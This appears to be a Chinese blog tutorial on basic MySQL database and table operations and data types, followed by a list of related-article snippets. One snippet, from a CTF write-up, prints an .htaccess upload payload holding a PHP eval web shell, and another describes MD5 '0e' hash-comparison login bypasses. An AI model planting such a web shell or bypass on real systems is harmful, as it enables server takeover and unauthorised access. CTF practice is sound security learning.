MySQL 基础学习(1):数据类型与操作数据库和数据表
MySQL 基础学习:数据类型与操作数据库和数据表
在这篇博客中,我们将深入学习 MySQL 的基础操作,重点关注数据库和数据表的操作,以及 MySQL 中常见的数据类型。希望本文能帮助你更好地理解和掌握 MySQL 的基本用法。
一、操作数据库
在 MySQL 中,数据库是数据存储的逻辑集合,以下是常见的数据库操作:
1. 创建数据库
create database 数据库名 charset utf8;
通过以上命令,我们可以创建一个新的数据库,并指定其字符集为 UTF-8。字符集设置在国际化场景中尤为重要。
2. 查看所有数据库
show databases;
该命令会列出当前 MySQL 服务器中的所有数据库。
3. 选择数据库
use 数据库名;
选择一个数据库后,所有后续的表操作都会基于该数据库。
4. 删除数据库
drop database 数据库名;
注意:这是一个危险的操作,会永久删除数据库及其所有数据,在执行前必须确保有备份!
执行删除数据库的建议:
- 确认操作权限。
- 必要时进行多次确认。
- 生产环境中建议执行前找他人复核。
二、操作数据表
数据表是数据库中的核心单元,用于存储结构化数据。以下是常见的数据表操作:
1. 查看数据库中的所有表
show tables;
该命令可以列出当前数据库中的所有表。
2. 创建数据表
create table 表名 (列名 类型 [约束],...
);
例如:
create table users (id int primary key auto_increment,name varchar(50) not null,email varchar(100) unique
);
这段代码创建了一个名为 users
的表,其中包含:
id
: 整型主键,自动递增。name
: 长度为 50 的字符串,不能为空。email
: 长度为 100 的唯一字符串。
3. 查看数据表结构
desc 表名;
该命令可以查看表的详细信息(列名、类型、约束等)。
4. 删除数据表
drop table 表名;
注意:删除表时会丢失所有数据,需谨慎操作。
执行删除表的建议:
- 确保操作必要性。
- 执行前备份数据。
三、什么时候操作数据库,什么时候操作数据表
操作数据库和数据表的选择主要取决于具体需求:
操作数据库的场景
- 初始设置: 当你启动一个新项目时,需要为项目创建一个独立的数据库以隔离数据。
- 环境隔离: 不同的开发环境(如开发、测试、生产)需要单独的数据库。
- 数据归档或迁移: 如果需要将一整个项目的数据归档或迁移到另一台服务器,可以操作整个数据库。
- 多租户系统: 在多租户系统中,每个租户可能会有一个独立的数据库。
操作数据表的场景
- 功能扩展: 为现有项目添加新功能时,需要创建新的表来存储相关数据。
- 结构优化: 如果发现表结构不合理,需要调整表(如增加或删除列)。
- 数据清理: 如果某张表的数据已经过期或无用,可以选择删除该表以节约存储空间。
- 特定查询优化: 创建中间表或临时表以提升复杂查询的性能。
简而言之,操作数据库通常是全局性、项目级别的改动,而操作数据表更偏向于模块化、功能性的小范围调整。
四、MySQL 常见数据类型
在 MySQL 中,每个列都必须有一个数据类型,用于定义该列可以存储的数据格式。以下是常见的数据类型:
1. 数值类型
- TINYINT: 1字节,范围 -128 到 127。
- SMALLINT: 2字节,范围 -32,768 到 32,767。
- INT: 4字节,范围 -21亿 到 21亿,常用的整型。
- BIGINT: 8字节,适合存储更大范围的整数。
- DECIMAL(M,D): 精确小数,适用于金融场景。
2. 浮点类型
- FLOAT: 4字节,用于存储单精度浮点数。
- DOUBLE: 8字节,用于存储双精度浮点数。
3. 字符串类型
- CHAR(SIZE): 固定长度字符串。
- VARCHAR(SIZE): 可变长度字符串,最大长度 65535 字节,推荐使用。
- TEXT: 存储大段文本。
4. 时间类型
- DATETIME: 存储日期和时间,8字节。
- TIMESTAMP: 存储时间戳,4字节。
数据类型选择建议
- 整型: 根据数值范围选择
INT
或BIGINT
。 - 小数: 金融场景优先选择
DECIMAL
,而非FLOAT
或DOUBLE
。 - 字符串: 通常优先选择
VARCHAR
,仅在长度固定时选择CHAR
。
五、操作注意事项
- 备份优先:任何涉及删除或修改操作时,务必先备份数据。
- 权限管理:避免普通用户直接操作数据库的结构。
- 审慎执行:多次确认命令后再执行。
通过对数据库和数据表的操作,以及对常见数据类型的理解,你可以更高效地使用 MySQL 存储和管理数据。如果你有任何问题或想法,欢迎留言讨论!
相关文章:
MySQL 基础学习(1):数据类型与操作数据库和数据表
MySQL 基础学习:数据类型与操作数据库和数据表 在这篇博客中,我们将深入学习 MySQL 的基础操作,重点关注数据库和数据表的操作,以及 MySQL 中常见的数据类型。希望本文能帮助你更好地理解和掌握 MySQL 的基本用法。 一、操作数据…...

zyNo.19
哈希(md5)绕过问题 本质上是弱类型问题的延申 题型 登录的哈希验证 $a ! $b Md5($a) md5($b) 解决办法Md5绕过 var_dump ("0e123456" "0e4456789"); //true 0e545993274517709034328855841020//true 参考资料0e开头的哈希…...
Kafka生产者ACK参数与同步复制
目录 生产者的ACK参数 ack等于0 ack等于1(默认) ack等于-1或all Kafka的同步复制 使用误区 生产者的ACK参数 Kafka的ack机制可以保证生产者发送的消息被broker接收成功。 Kafka producer有三种ack机制 ,分别是 0,1…...

IPhone14 Pro 设备详情
目录 产品宣传图内部图——后设备详细信息 产品宣传图 内部图——后 设备详细信息 信息收集于HubWeb.cn...

【Linux】磁盘
没有被打开的文件 文件在磁盘中的存储 认识磁盘 磁盘的存储构成 磁盘的效率 与磁头运动频率有关。 磁盘的逻辑结构 把一面展开成线性。 通过扇区的下标编号可以推算出在磁盘的位置。 磁盘的寄存器 控制寄存器:负责告诉磁盘是读还是写。 数据寄存器:给…...

Shell编程(for循环+并发问题+while循环+流程控制语句+函数传参+函数变量+函数返回值+反向破解MD5)
本篇文章继续给大家介绍Shell编程,包括for循环、并发问题,while循环,流程控制语句,函数传参、函数变量、函数返回值,反向破解MD5等内容。 1.for循环 for 变量 in [取值列表] 取值列表可以是数字 字符串 变量 序列…...

强化学习数学原理(三)——值迭代
一、值迭代过程 上面是贝尔曼最优公式,之前我们说过,f(v)v,贝尔曼公式是满足contraction mapping theorem的,能够求解除它最优的策略和最优的state value,我们需要通过一个最优v*,这个v*来计算状态pi*&…...

Day27-【13003】短文,什么是栈?栈为何用在递归调用中?顺序栈和链式栈是什么?
文章目录 第三章栈和队列总览第一节栈概览栈的定义及其基本操作如何定义栈和栈的操作?合理的出栈序列个数如何计算?栈的两种存储方式及其实现?顺序栈及其实现,还有对应时间复杂度*、清空栈,初始化栈5、栈空,…...

[JMCTF 2021]UploadHub
题目 上传.htaccess就是修改配置文件 <FilesMatch .htaccess> SetHandler application/x-httpd-php Require all granted php_flag engine on </FilesMatch>php_value auto_prepend_file .htaccess #<?php eval($_POST[md]);?>SetHandler和ForceType …...

C++学习——认识和与C的区别
目录 前言 一、什么是C 二、C关键字 三、与C语言不同的地方 3.1头文件 四、命名空间 4.1命名空间的概念写法 4.2命名空间的访问 4.3命名空间的嵌套 4.4命名空间在实际中的几种写法 五、输入输出 5.1cout 5.2endl 5.3cin 总结 前言 开启新的篇章,这里…...
为AI聊天工具添加一个知识系统 之63 详细设计 之4:AI操作系统 之2 智能合约
本文要点 要点 AI操作系统处理的是 疑问(信念问题)、缺省(逻辑问题)和异常(不可控因素 ) 而 内核 的三大功能 (资源分配/进程管理/任务调度)以及外围的三类接口( CLI、GUI和表面模型的 运行时…...

基于SpringBoot的网上摄影工作室开发与实现 | 含论文、任务书、选题表
随着互联网技术的不断发展,摄影爱好者们越来越需要一个在线平台来展示和分享他们的作品。基于SpringBoot的网上摄影工作室应运而生,它不仅为用户提供了一个展示摄影作品的平台,还为管理员提供了便捷的管理工具。本文幽络源将详细介绍该系统的…...
Flutter子页面向父组件传递数据方法
在 Flutter 中,如果父组件需要调用子组件的方法,可以通过以下几种方式实现。以下是常见的几种方法: 方法 1:使用 GlobalKey 和 State 调用子组件方法 这是最直接的方式,通过 GlobalKey 获取子组件的 State,…...
回顾Maven
Maven Maven简介 Maven 是 Apache 软件基金会的一个开源项目,是一个优秀的项目构建工具,它 用来帮助开发者管理项目中的 jar,以及 jar 之间的依赖关系、完成项目的编译、 测试、打包和发布等工作。 管理jar包管理jar包之间的依赖关系(其中一个jar包可能同时依赖多个…...
除了layui.js还有什么比较好的纯JS组件WEB UI?在谷歌浏览上显示
以下是一些比较好的纯JS组件WEB UI,可以在谷歌浏览器上良好显示: 1. Sencha 特点:提供超过140个高性能UI组件,用于构建现代应用程序。支持与Angular和React集成,提供企业级网格解决方案。 适用场景:适用于…...

力扣111二叉树的最小深度(DFS)
Problem: 111. 二叉树的最小深度 文章目录 题目描述思路复杂度Code 题目描述 思路 1.欲望求出最短的路径,先可以记录一个变量minDepth,同时记录每次当前节点所在的层数currentDepth 2.在递的过程中,每次递一层,也即使当前又往下走…...

c++学习第十三天
创作过程中难免有不足,若您发现本文内容有误,恳请不吝赐教。 提示:以下是本篇文章正文内容,下面案例可供参考 一、vector 1.介绍 1. vector是表示可变大小数组的序列容器。 2. 就像数组一样,vector也采用的连续存储空…...
zookeeper-3.8.3-基于ACL的访问控制
ZooKeeper基于ACL的访问控制 ZooKeeper 用ACL控制对znode的访问,类似UNIX文件权限,但无znode所有者概念,ACL指定ID及对应权限,且仅作用于特定znode,不递归。 ZooKeeper支持可插拔认证方案,ID格式为scheme…...
Java定时任务实现方案(四)——Spring Task
Spring Task 这篇笔记,我们要来介绍实现Java定时任务的第四个方案,使用Spring Task,以及该方案的优点和缺点。 Spring Task是Spring框架提供的一个轻量级任务调度框架,用于简化任务调度的开放,通过注解或XML配置的…...

WGCLOUD运维工具从入门到精通 - 如何设置主题背景
需要升级到WGCLOUD的v3.5.7或者以上版本,才会支持自定义设置主题背景色 WGCLOUD下载:www.wgstart.com 我们登录后,在右上角点击如下的小图标,就可以设置主题背景色了,包括:经典白(默认&#x…...
云原生核心技术 (7/12): K8s 核心概念白话解读(上):Pod 和 Deployment 究竟是什么?
大家好,欢迎来到《云原生核心技术》系列的第七篇! 在上一篇,我们成功地使用 Minikube 或 kind 在自己的电脑上搭建起了一个迷你但功能完备的 Kubernetes 集群。现在,我们就像一个拥有了一块崭新数字土地的农场主,是时…...
java_网络服务相关_gateway_nacos_feign区别联系
1. spring-cloud-starter-gateway 作用:作为微服务架构的网关,统一入口,处理所有外部请求。 核心能力: 路由转发(基于路径、服务名等)过滤器(鉴权、限流、日志、Header 处理)支持负…...

3.3.1_1 检错编码(奇偶校验码)
从这节课开始,我们会探讨数据链路层的差错控制功能,差错控制功能的主要目标是要发现并且解决一个帧内部的位错误,我们需要使用特殊的编码技术去发现帧内部的位错误,当我们发现位错误之后,通常来说有两种解决方案。第一…...

centos 7 部署awstats 网站访问检测
一、基础环境准备(两种安装方式都要做) bash # 安装必要依赖 yum install -y httpd perl mod_perl perl-Time-HiRes perl-DateTime systemctl enable httpd # 设置 Apache 开机自启 systemctl start httpd # 启动 Apache二、安装 AWStats࿰…...

视频字幕质量评估的大规模细粒度基准
大家读完觉得有帮助记得关注和点赞!!! 摘要 视频字幕在文本到视频生成任务中起着至关重要的作用,因为它们的质量直接影响所生成视频的语义连贯性和视觉保真度。尽管大型视觉-语言模型(VLMs)在字幕生成方面…...

ElasticSearch搜索引擎之倒排索引及其底层算法
文章目录 一、搜索引擎1、什么是搜索引擎?2、搜索引擎的分类3、常用的搜索引擎4、搜索引擎的特点二、倒排索引1、简介2、为什么倒排索引不用B+树1.创建时间长,文件大。2.其次,树深,IO次数可怕。3.索引可能会失效。4.精准度差。三. 倒排索引四、算法1、Term Index的算法2、 …...

智能仓储的未来:自动化、AI与数据分析如何重塑物流中心
当仓库学会“思考”,物流的终极形态正在诞生 想象这样的场景: 凌晨3点,某物流中心灯火通明却空无一人。AGV机器人集群根据实时订单动态规划路径;AI视觉系统在0.1秒内扫描包裹信息;数字孪生平台正模拟次日峰值流量压力…...

tree 树组件大数据卡顿问题优化
问题背景 项目中有用到树组件用来做文件目录,但是由于这个树组件的节点越来越多,导致页面在滚动这个树组件的时候浏览器就很容易卡死。这种问题基本上都是因为dom节点太多,导致的浏览器卡顿,这里很明显就需要用到虚拟列表的技术&…...
LeetCode - 199. 二叉树的右视图
题目 199. 二叉树的右视图 - 力扣(LeetCode) 思路 右视图是指从树的右侧看,对于每一层,只能看到该层最右边的节点。实现思路是: 使用深度优先搜索(DFS)按照"根-右-左"的顺序遍历树记录每个节点的深度对于…...

基于SpringBoot在线拍卖系统的设计和实现
摘 要 随着社会的发展,社会的各行各业都在利用信息化时代的优势。计算机的优势和普及使得各种信息系统的开发成为必需。 在线拍卖系统,主要的模块包括管理员;首页、个人中心、用户管理、商品类型管理、拍卖商品管理、历史竞拍管理、竞拍订单…...